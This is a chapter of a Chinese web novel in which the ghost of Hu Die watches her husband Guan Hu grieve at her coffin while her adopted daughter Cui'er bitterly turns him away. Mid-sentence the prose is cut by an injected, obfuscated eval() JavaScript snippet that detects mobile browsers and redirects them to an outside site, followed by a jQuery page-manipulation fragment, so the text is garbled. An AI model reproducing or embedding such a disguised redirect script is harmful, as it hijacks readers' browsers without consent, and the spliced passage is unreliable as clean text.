待到柔软的锦缎层层铺下,他揭开她身上的大氅,将胡蝶轻轻放入棺中。
她的双眼仍半睁着,仿佛还看着他的一举一动。
关护伸出手,将她眼帘合上,双膝猝然一软,重重跪落在棺前。
胡蝶眉头一挑,在一旁看得唏嘘。
弄啥呢?怎么一股关内风气?
她又看向那副棺材,那是一口极好的棺材。胡蝶此刻还有些自恋呢,谁让她就是那样招人惦念?哪怕只是在货主那走一回路镖,也总能换来旁人真心实意的牵挂。
她们漠风镇的人早看惯生死,大多人活过五岁便会为自己备一副棺木。胡蝶要强、喜好体面,一位受过她恩惠的货主知晓后,特地远从江南运来整块金丝楠木,聘良匠为她精心打造了这一副棺材。
胡蝶笑着笑着,眼底泄露出遗憾,可送她棺木的货主也没想到她才二十有一,就这样静静躺在其中了吧。
她想着想着,一个跃身,大马金刀地坐在棺木上,潇洒的红衣被夜风拂动。
她低头看着这个庭院里的所有人,她在这个世界上最重视的人们都聚集在这里了。她既然已经死了,那就希望她们痛痛快快哭一场,然后继续过好自己的生活。
关护即便跪着脊梁依旧挺得笔直,或许是痛到极致只剩麻木,他扶在棺缘的手指绷得青白,眼眶通红,死死望着地面。
他不敢看棺,棺内她面色是那样苍白,不见半分血色,一点也不像她。
完全不像他记忆中那个明艳如烈火、总爱穿着一身红衣的少女。
她生就一双漂亮的猫儿眼,浅咖色的瞳孔浑圆,他向来能读懂她眼神里的每一点情绪,她一颦一笑,他皆了然于心。
可此时此刻,他却第一次读不懂她的目光,那里面空荡荡的,一丝光亮也没有,她什么也没有再说与他听。
她周身浸透着一股沉重的死气。
她这样鲜活明亮的人,怎会与这样的冰冷沉寂扯上关联?
关护被扶着起身,借着棺稳住身形,接过下人递来的干净帕子,蘸清水,极轻极缓地拭净她脸上干涸的血迹,为她细细理好鬓边散乱的发丝。
可无论他怎样整理,她与他记忆中那个眉目飞扬的姑娘相差甚远。
一切一切,都在无声地告诉他,他来得太迟。
迟得再也挽不回她半点往日鲜活,她不看他,眼中再也没有他的影子。
关护心慌得无措,这些年来,他早已习惯被她安排照料,此刻恍如依附大树的菟丝骤然失了依托,空虚得可怕。
胡蝶看不懂他此刻情绪,她的情感炙热而张扬,哪里能体会他阴暗的情绪。她拍了拍手,跳下棺木,想与她们珍重地告别。
她永远停留在这个时间了,但是她们的时间还是流动的。
关护死死盯着胡蝶,只晚了那么一刻……
如果他动身再早一点,如果他赶路再快一点,如果那一夜他没有下令整队歇息……
“阿蝶……”关护扔下染血的手帕,指尖颤抖着抚上她冰冷的脸颊。
指尖传来的是一种诡异而僵冷的柔软,仿佛触到的不是肌肤,而是浸透寒气的玉石。
那样的温度,怎会属于那个骄扬如火的胡蝶?
他踉跄着伸出手想要再次将她拥入怀中,泪水终于湿润地滑下他的眼眶,一丝她常用的冷香依稀拂来,她静静躺着,纹丝不动。
忽然,一只有力的手按住他的肩膀,不容拒绝地将他向后扳去。“别扰了她的清静。”
胡翠儿的声音低柔如水,动作却干脆果决。“你回来得那么迟,怎么还有脸哭?”
她将失魂落魄的他推至一旁,介入他与胡蝶之间。
关护恍然之下,竟被她一推便跌坐于地。
胡翠儿身着沾满暗沉血渍的马面裙,径直越过他原先的位置,立于棺侧,俯身为胡蝶整理鬓发。
胡翠儿是胡蝶的养女,十六岁那年,胡蝶走镖时遇见了父母双亡、流离失所的她,将她带回来漠风镇。五年过去,翠儿也十六了,这些年来她始终寸步不离地跟随胡蝶,与关护很少见面。
记忆中的她看起来那么薄,那么小,又来自江南,说话间带着水乡的温软腔调,只是在这些未能相见的年月里,她早已悄然变成他不再熟悉的模样,哪怕语调柔和,行事却继承了胡蝶的飒爽与利落。
她常年随胡蝶习武,身手不凡,此刻裙摆上征战留下的血迹尚未干透。
她刚从尸山血海中抽身,所以才来得这样迟,迟到让她没忍住眼底的厌恶。
“蛮夷来袭已褪去,此刻城内备守正做好了酒菜等着你过去相谈呢,何必把时间浪费在这,这里有我足以。”
翠儿语调温柔,却摆明要越过关护处理胡蝶的后事,突兀却又合理。关护长年远离边城,翠儿已是镖局的内务管事,这些人也习惯了她拿主意,一时之间,竟无人觉得她越过丈夫主持丧仪有何不妥。
“抱歉……”关护怔怔地望着已被翠儿合上的棺木,下意识地喃喃,脚步却没有动。
翠儿眼圈蓦地红了,她的手微微发抖,自始至终没有看关护一眼,脸颊的肌肉狠狠抽动了一下,“别对我说这些,该听你说抱歉的人……已经死了。”
此刻她再也忍不住睥睨傲倨地盯着他,恨意毫无遮掩,就这样在灵堂之上对他展开攻击。
可她毕竟才十六,又一直是在胡蝶羽翼下长大的,哪怕因从小漂泊而比旁人多了几分心机,此时此刻举动仍旧显得太过冲动。
旁人看她的目光都带着惊诧,似乎不明白她为何突然发难。
翠儿的目光环视四周,他们是镖局的长老、客卿、长镖、仆役,都是曾经宠着护着胡蝶的人,他们眼中也有悲伤,但更多的却是一种沉重的无奈。
可还有人在哭……
胡蝶也随着翠儿的目光巡视,最后沿着哭声传来的地方看去。
空气中仍有断续哭声,是从这些男人身后传来的,那些被他们挡在后面的女人们在哭。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302232|182795||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们是胡蝶的奶娘、侍女、捡回来的孤女,是始终站在她身后的人。
那些哭声如此微弱,毫无攻击性,仿佛生来就该被掩盖。
胡蝶心底多了些不舒服,她怒目对向关护,怎么连这点小事都解决不好?
关护缓缓叹息,他丝毫没有在意翠儿的越矩,这反而让她的行为显得更加突兀。
他再次往前,还想再上前,却被翠儿又一步拦在面前。
她用冰冷的目光钉住他的脚步,逼得他再不能向前。
她盯紧他的眼睛,一字一句道:“你回来做什么?你为什么不好好走完这趟镖再回来?就像你一直以来做的那样。”
她深吸一口气,竭力压住声线里的颤抖,“你不用摆出这副模样,母亲从来没有依靠过你,她就算是死了,也有我们替她料理后事,你就像从前一样,去做你自己想做的事就好,不必来打扰她。”
她的肩膀因愤怒微微发抖,“你不要过来玷污母亲的清名。”
在翠儿的话语中,关护是那么的罪大恶极,似乎看一眼都是过界,哪怕他们是夫妻。
关护踌躇着停下脚步,回到了胡家以后,他与胡蝶就咫尺之间,如同隔了天涯。
他心口涩得发痛,喘不过气,仿佛不是站在屋内,而是立于边城外的无边黄沙风雪中。
“母亲从未想起过你,你该牢牢记住,你们本就不该互相牵扯,这些年来都是你的越矩。”
翠儿再前进一步,彻底挡住棺木,“她不需要你假意关怀,也不必你自作多情,摆出一副若你在她就不会死的忏悔模样。”
她昂首盯着他,字字清晰,“如果不是你,母亲可以过得很好,如果你在,你就成为了母亲最大的苦难。”
她说着,眼底泛起泪光,“我真是想不明白,为什么老镖主当年偏偏选了你陪在母亲身边……”
她字字句句仿佛浸着血,“就是因为有你在,母亲才不得不退居幕后,才不得不放弃走镖,她最大的苦难,都是你带来的,你现在还一副追悔莫及的模样,明明你从来没有为她着想过!”
翠儿昂起的脖颈像某种脆弱却执拗的鸟,“母亲这一次死,是为了保护我们而死,和你一点关系都没有。我们……我们这些年,从头到尾……都没有想过你。”
“说谎,她不会忘了我。”关护低声道,“我了解她。”
她那样一个总是把旁人放在心上的人,怎么会放下他?
若真不记得,他又怎会收到那些信中的叮嘱?
如果……如果真是那样,或许也是好事。
至少说明,他不在的那些年,她的确过得很好。
他始终希望,他们两个都能自在,而不必被老镖主的遗言捆绑一生。
可为什么,当他发现她已离去,心口会那么痛、那么空?
为什么他脑海中反复都是她的眼睛,为什么那双眼睛里,再也映不出任何情绪?那样他就再也读不懂她的心意,他都弄不清自己的痛苦究竟从何而来了。